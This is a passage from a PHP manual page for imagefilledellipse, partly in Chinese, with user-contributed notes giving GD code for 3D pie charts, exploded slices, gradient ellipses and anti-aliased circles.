        $ellipseYOffset = $centerY - ($height / 2) - $borderOuterStrength;

        // Create temp image for editing
        $tempImageWidth  = $width + ($borderOuterStrength * 2) + 1;
        $tempImageHeight = $height + ($borderInnerStrength * 2) + 1;
        $tempImage = imagecreatetruecolor($tempImageWidth, $tempImageHeight);
        imagealphablending($tempImage, false);

        // Fill temp image with "transparent" color
        $transparent = imagecolorallocatealpha($tempImage, 255, 255, 255, 127);
        imagefill($tempImage, 0, 0, $transparent);

        // Draw outer ellipse (representing the border)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width  + $borderOuterStrength * 2,
            $height + $borderOuterStrength * 2,
            $color
        );

        // Draw inner ellipse (transparent area)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width - $borderInnerStrength * 2,
            $height - $borderInnerStrength * 2,
            $transparent
        );

        // "Paste" ellipse (with transparent inner area) into image at original position
        imagealphablending($image, true);
        imagecopy(
            $image,
            $tempImage,
            $ellipseXOffset + ($borderWidth + 1) % 2,
            $ellipseYOffset + ($borderWidth + 1) % 2,
            0,
            0,
            $tempImageWidth,
            $tempImageHeight
        );
    }

?>
floripondia dot 88 at hotmail dot com 22-Nov-2013 04:28
If you want to make a pie graph with exploded slices and data shows on each one and data side right too you can use this snippet.
<?php
$values = array("2010" => 1950, "2011" => 750, "2012" => 2100, "2013" => 580, "2014" => 5000);
$total = count($values);
$data = ($total == 0) ? array(360) : array_values($values);
$keys = ($total == 0) ? array("") : array_keys($values);
$radius = 30;
$imgx = 1800 + $radius;
$imgy = 600 + $radius;
$cx = 400 + $radius;
$cy = 200 + $radius;
$sx = 800;
$sy = 400;
$sz = 150;
$data_sum = array_sum($data);
$angle_sum = array(-1 => 0, 360);
$typo = "./helvetica.ttf";
$im = imagecreate($imgx, $imgy);
imagecolorallocate($im, 255, 255, 255);
$color = array(
    array(220, 20, 60),
    array(77, 33, 114),
    array(249, 141, 53),
    array(158, 37, 59),
    array(1, 128, 128),
    array(28, 94, 160),
    //array(206, 16, 118),
    array(43, 67, 86),
    //array(155, 108, 166),
    array(83, 69, 62)
);
shuffle($color);
shuffle($color);
shuffle($color);
$colors = array(imagecolorallocate($im, $color[0][0], $color[0][1], $color[0][2]));
$colord = array(imagecolorallocate($im, ($color[0][0] / 1.5), ($color[0][1] / 1.5), ($color[0][2] / 1.5)));
$factorx = array();
$factory = array();
for($i = 0; $i < $total; $i++){
    $angle[$i] = (($data[$i] / $data_sum) * 360);
    $angle_sum[$i] = array_sum($angle);
    $colors[$i] = imagecolorallocate($im, $color[$i][0], $color[$i][1], $color[$i][2]);
    $colord[$i] = imagecolorallocate($im, ($color[$i][0] / 1.5), ($color[$i][1] / 1.5), ($color[$i][2] / 1.5));
    $factorx[$i] = cos(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
    $factory[$i] = sin(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
}
for($z = 1; $z <= $sz; $z++){
    for($i = 0; $i < $total; $i++){
        imagefilledarc($im, $cx + ($factorx[$i] * $radius), (($cy + $sz) - $z) + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colord[$i], IMG_ARC_PIE);
    }
}
for($i = 0; $i < $total; $i++){
    imagefilledarc($im, $cx + ($factorx[$i] * $radius), $cy + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colors[$i], IMG_ARC_PIE);
    imagefilledrectangle($im, 900, 50 + ($i * 50 * 2), 950, 100 + ($i * 50 * 2), $colors[$i]);
    imagettftext($im, 50, 0, 970, 100 + ($i * 50 * 2), imagecolorallocate($im, 0, 0, 0), $typo, $keys[$i]);
    imagettftext($im, 40, 0, $cx + ($factorx[$i] * ($sx / 4)) - 40, $cy + ($factory[$i] * ($sy / 4)) + 10, imagecolorallocate($im, 0, 0, 0), $typo, $data[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
splogamurugan at gmail dot com 09-Feb-2011 02:53
A simple pie chart generation script.
Displays the percentage at center arc and displays the Legends with random colors.

<?php
class simplepie
{
    function __construct($width, $height, $dataArr)
    {
        $font = './verdana.ttf'; /** get it from c:/windows/fonts dir */
        $this->image = imagecreate($width,$height);
        $piewidth = $width * 0.70;/* pie area */
        $x = round($piewidth/2);
        $y = round($height/2);
        $total = array_sum($dataArr);
        $angle_start = 0;
        $ylegend = 2;
        imagefilledrectangle($this->image, 0, 0, $width, $piewidth, imagecolorallocate($this->image, 128, 128, 128));
        foreach($dataArr as $label=>$value) {
            $angle_done    = ($value/$total) * 360; /** angle calculated for 360 degrees */
            $perc          = round(($value/$total) * 100, 1); /** percentage calculated */
            $color         = imagecolorallocate($this->image, rand(0, 255), rand(0, 255), rand(0, 255));
            imagefilledarc($this->image, $x, $y, $piewidth, $height, $angle_start, $angle_done+= $angle_start, $color, IMG_ARC_PIE);
            $xtext = $x + (cos(deg2rad(($angle_start+$angle_done)/2))*($piewidth/4));
            $ytext = $y + (sin(deg2rad(($angle_start+$angle_done)/2))*($height/4));
            imagettftext($this->image, 6, 0, $xtext, $ytext, imagecolorallocate($this->image, 0, 0, 0), $font, "$perc %");
            imagefilledrectangle($this->image, $piewidth+2, $ylegend, $piewidth+20, $ylegend+=20, $color);
            imagettftext($this->image, 8, 0, $piewidth+22, $ylegend, imagecolorallocate($this->image, 0, 0, 0), $font, $label);
            $ylegend += 4;
            $angle_start = $angle_done;
        }
    }
    function render()
    {
        header('Content-type: image/png');
        imagepng($this->image);
    }
}
/** usage */
$dataArr = array(2001=>10, 2002=>30, 2003=>50, 2004=>10);
$width=600;
$height=480;
$pie = new simplepie($width, $height, $dataArr);
$pie->render();
?>
Christopher Kramer 17-Sep-2009 04:25
If this function is not available because you're using an old gdlib version, here is a workaround if you want to draw a pie chart:

<?php

// width and height of the image
$width=200;
$height=200;

$simulate_old_gd=true; // do not use imagefilledarc although available?

// the pieces of the pie (in degree)
$pieces=array(180,90,45,25,15,5);

$diagram=imagecreate($width,$height);

// background color
$white=imagecolorallocate($diagram, 255, 255, 255);
imagefilledrectangle($diagram,0,0,$width,$height,$white);

// the circle is 2px smaller than the image
$width-=2;
$height-=2;

// we need a border color
$black=imagecolorallocate($diagram, 0, 0, 0);

// draw the border of the pie
imagearc($diagram, round($width/2), round($height/2),
         $width, $height, 0, 360, $black);

// position (in degrees) where to place the next piece
$position=270;
// we will use calculated gray colors for simple example
$gray=0;

foreach($pieces as $deg)
 {
 // calculate the gray color
 $gray+=30;
 if($gray>255) $gray=0;
 $color=imagecolorallocate($diagram,$gray,$gray,$gray);

 // position must be kept < 360
 if($position>360) $position-=360;

 if(!$simulate_old_gd && is_callable('imagefilledarc'))
  {
  imagefilledarc($diagram, round($width/2),
  round($height/2), $width, $height, $position,
  $position+$deg, $color,IMG_ARC_EDGED);
  }
 else
  {
  // we use some maths to calculate the pixel on the circle
  $pix_x=round(floor(($width-2)/2)*cos($position/180*M_PI)
         +round($width/2));
  $pix_y=round(floor(($height-2)/2)*sin($position/180*M_PI)
         +round($height/2));
  // now we  draw a line from the mid of the circle to the
  // calculated pixel on the circle
  imageline($diagram, round($width/2), round($height/2),
            $pix_x, $pix_y, $black);
  // now we need a pixel for flood filling.
  //- We could use maths to calculate a pixel inside the
  // piece:
  //$fill_x=round(floor(($width-10)/2)*
  //        cos(($position+2)/180*M_PI)+round($width/2));
  //$fill_y=round(floor(($height-10)/2)*
  //        sin(($position+2)/180*M_PI)+round($height/2));
  //- or we could use an universal pixel with less maths ;)
  // (top mid):
  $fill_x=floor($width/2)-2;
  $fill_y=3;
  // now we flood fill the circle
  @imagefilltoborder ($diagram,$fill_x,$fill_y,$black,$color);
  /* (it does not matter here that we fill more than we need
      because the next pieces will fix this)
     IF YOU ONLY WANT ONE PIECE
     (simulate imagefilledarc) you'd have to draw
     both border lines and flood fill afterwards */
  }
 // the position of the next piece is $deg degrees further
 $position+=$deg;
 }

// output the image
header('Content-type: image/png');
imagepng($diagram);
imagedestroy($digram);
?>
mateusz dot charytoniuk at gmail dot com 26-Feb-2009 09:31
The code below uses colors from "hans at lintoo dot dk"'s note. It delivers pie charts with labels:

<?php
$bright_list = array(
    array(255, 203, 3),
    array(220, 101, 29),
    array(189, 24, 51),
    array(214, 0, 127),
    array(98, 1, 96),
    array(0, 62, 136),
    array(0, 102, 179),
    array(0, 145, 195),
    array(0, 115, 106),
    array(178, 210, 52),
    array(137, 91, 74),
    array(82, 56, 47)
);
$dark_list = array(
    array(205, 153, 0),
    array(170, 51, 0),
    array(139, 0, 1),
    array(164, 0, 77),
    array(48, 0, 46),
    array(0, 12, 86),
    array(0, 52, 129),
    array(0, 95, 145),
    array(0, 65, 56),
    array(128, 160, 2),
    array(87, 41, 24),
    array(32, 6, 0)
);

$data = array();
$angle = array();
$title = array();
$i = 0;
foreach( $_GET as $key => $value ) {
    $data[$i] = intval($value);
    $title[$i++] = str_replace("_"," ",strval($key));
}
$sum = array_sum($data);
if( $sum == 0 ) {
    ++ $sum;
}
$count = count($data);
for( $i = 0; $i < $count; ++ $i ) {
    $angle[$i] = floor($data[$i]/$sum*360);
    if( $angle[$i] == 0 ) {
        ++ $angle[$i];
    }
}
$sum_angle = array_sum($angle);
if( $sum_angle < 360 ) {
    $angle[0]+=360-$sum_angle;
}

$height = $count*34;
if( $height < 180 ) {
    $height = 180;
}

$im  = imagecreate (350, $height);
$background = imagecolorallocate($im, 226, 226, 226);
$border = imagecolorallocate($im,97,97,97);
$font_color = imagecolorallocate($im,0,0,0);
$font = 'yourfont.ttf';

$bright = array();
foreach( $bright_list as $c ) {
    $bright[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}

$dark = array();
foreach( $dark_list as $c ) {
    $dark[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}
$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    for( $j = 100; $j > 90; -- $j ) {
        imagefilledarc($im, 100, $j, 180, 120, $tmp, $tmp+$angle[$i], $dark[$i], IMG_ARC_PIE);
    }
    $tmp += $angle[$i];
}

$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    imagefilledarc($im, 100, 90, 180, 120, $tmp, $tmp+$angle[$i], $bright[$i], IMG_ARC_PIE);
    $tmp += $angle[$i];
}
for( $i = 0; $i < $count; ++ $i ) {
    imagefilledrectangle($im, 209, 19+($i*30), 231, 41+($i*30), $border);
    imagefilledrectangle($im, 210, 20+($i*30), 230, 40+($i*30), $bright[$i]);
    imagefttext($im, 11, 0, 240, 34+($i*30), $font_color, $font, $title[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

try 'pie.php?foo=3&bar=4&baz=6'
Mike 14-Aug-2007 12:43
The previous example does not work well.  This is much better and faster:

<?php
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='600';$imgy='400';//Set Image Size. ImageX,ImageY
$cx = '300';$cy ='150'; //Set Pie Postition. CenterX,CenterY
$sx = '600';$sy='300';$sz ='100';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/1.5),($g/1.5),($b/1.5));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
        // first slice
    imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,0
    ,$angle_sum[0],$colord[0],IMG_ARC_EDGED);
   for($i=1;$i<=$Randomized;$i++){
        imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
        ,$angle_sum[$i],$colord[$i],IMG_ARC_NOFILL);
   };
};
//Top pie.
   // first slice
   imagefilledarc($im,$cx,$cy,$sx,$sy,0 ,$angle_sum[0], $colors[0], IMG_ARC_PIE);
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
imazir at gmail dot com 31-Jan-2006 02:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com 01-Jul-2005 11:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
    {
        if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
        if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
        if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
        ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
    }

for ($s = 0; $s < 8; ++$s)
    {
        $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
        $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
    }

?>
t_therkelsen at hotmail dot com 08-Mar-2005 01:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
rich at dicksonlife dot com 24-Sep-2004 07:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info 08-Sep-2004 07:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {         /* calc degrees */
    foreach( $werte as $wert ) { $sum += $wert; }
    foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
    return $gradzahlen;
}

function _randomcol ( $im ) {
    return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
    /* get colors and shadows */
    $color = _randomcol( $im );
    $shadow = $color - 20000;                 // or brighter shadows take 10000
    $colors[] = $color;
    $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
        imagefilledarc(
                    $im,
                    $half_width,  $i,
                    $width, $half_height,
                    $offset, ($offset + $wert),   // from, to (degrees)
                    $shadows[$key], IMG_ARC_NOFILL);
    }
    $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {             /* an now draw the top */
    imagefilledarc(
                $im,
                $half_width, $half_width,
                $width, $half_height,           // half sized
                $offset, ($offset + $wert),
                $colors[$key], IMG_ARC_PIE);
    $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie 05-Aug-2004 09:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk 17-Jul-2004 12:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
    imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk 16-Jul-2004 03:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    $part[$i] = $data[$n] / $datasum;
    $angle[$i] = floor($part[$i] * 360);
    $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
    ++$n;
    $f = $n - 1;
    if ($angle[$n] != 0) {
        for ($i = 110; $i > 100; $i--) {
            imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
        }
    }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
    }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com 07-Jan-2004 08:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps


绘制椭圆并填充

  • ? imagefilledarc
  • imagefilledpolygon ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制椭圆并填充

imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledellipse — 绘制椭圆并填充

说明

imagefilledellipse(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $color
): bool

在指定 image 上以指定坐标为中心绘制椭圆。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

center_x

中央的 x 坐标。

center_y

中央的 y 坐标。

width

椭圆的宽度。

height

椭圆的高度。

color

填充颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagefilledellipse() 示例

<?php

// create a blank image
$image = imagecreatetruecolor(400, 300);

// fill the background color
$bg = imagecolorallocate($image, 0, 0, 0);

// choose a color for the ellipse
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// draw the white ellipse
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// output the picture
header("Content-type: image/png");
imagepng($image);

?>

以上示例的输出类似于：

注释

Note:

imagefilledellipse() 忽略 imagesetthickness()。

参见

  • imageellipse() - 画椭圆
  • imagefilledarc() - 绘制部分弧形并填充

User Contributed Notes

Mark 07-Dec-2008 05:03
This draws an anti-aliased circle with an optional border. Call with <img src="circle.php?r=50&fg=ff0000&bg=000000&bw=5&bc=ffff00"/> to draw a filled circle with radius=50, foreground color=red, background color=black, border width=5, and border color=yellow. Assumes register_globals is on, but you can fix that easily.

<?php
header('Content-type: image/png');

is_numeric($r) or $r = 8;
is_numeric($bw) or $bw = 0;
strlen($fg)==6 or $fg = 'e8e8e8';
strlen($bg)==6 or $bg = 'ffffff';
strlen($bc)==6 or $bc = '000000';

function hex2rgb($im,$hex) {
    return imagecolorallocate($im,
        hexdec(substr($hex,0,2)),
        hexdec(substr($hex,2,2)),
        hexdec(substr($hex,4,2))
        );
}

$a = $r*2;
$b = $a*4;
$c = $b/2;
$d = $b;
$e = $d-($bw*8);

$im1 = imagecreatetruecolor($b,$b);
$im2 = imagecreatetruecolor($a,$a);
imagefill($im1,0,0,hex2rgb($im1,$bg));
if($bw) imagefilledellipse($im1,$c,$c,$d,$d,hex2rgb($im1,$bc));
imagefilledellipse($im1,$c,$c,$e,$e,hex2rgb($im1,$fg));
imagecopyresampled($im2,$im1,0,0,0,0,$a,$a,$b,$b);
imagepng($im2);
?>
sunbox at gmx dot net 20-Oct-2006 04:15
draws a gradient filled ellipse with alpha color support based on felixbruns at <ANTI-SPAM>web dot de imagegradientellipse function. thx felixbruns :o)

function imagegradientellipsealpha($image, $cx, $cy, $w, $h, $ic, $oc){
       $w = abs($w);
       $h = abs($h);
       $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
       $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
       $c0 = ($oc[0] - $ic[0]) / $w;
       $c1 = ($oc[1] - $ic[1]) / $w;
       $c2 = ($oc[2] - $ic[2]) / $w;
       $ot = $oc >> 24;
       $it = $ic >> 24;
       $ct = ($ot - $it) / $w;
       $i = 0;
       $j = 0;
       $is = ($w<$h)?($w/$h):1;
       $js = ($h<$w)?($h/$w):1;
       while(1){
           $r = $oc[0] - floor($i * $c0);
           $g = $oc[1] - floor($i * $c1);
           $b = $oc[2] - floor($i * $c2);
           $t = $ot - floor($i * $ct);
           $c = imagecolorallocatealpha($image, $r, $g, $b, $t);
           imageellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
           if($i < $w){
               $i += $is;
           }
           if($j < $h){
               $j += $js;
           }
           if($i >= $w && $j >= $h){
               break;
           }
       }
    }
felixbruns at <ANTI-SPAM>web dot de 27-Aug-2006 05:57
I quickly made a gradient ellipse function (i took some code from other gradient functions). It works like imageellipse or imagefilledellipse but with two color parameters: $ic is the inner color of the gradient ellipse and $oc is the outer color.

<?php

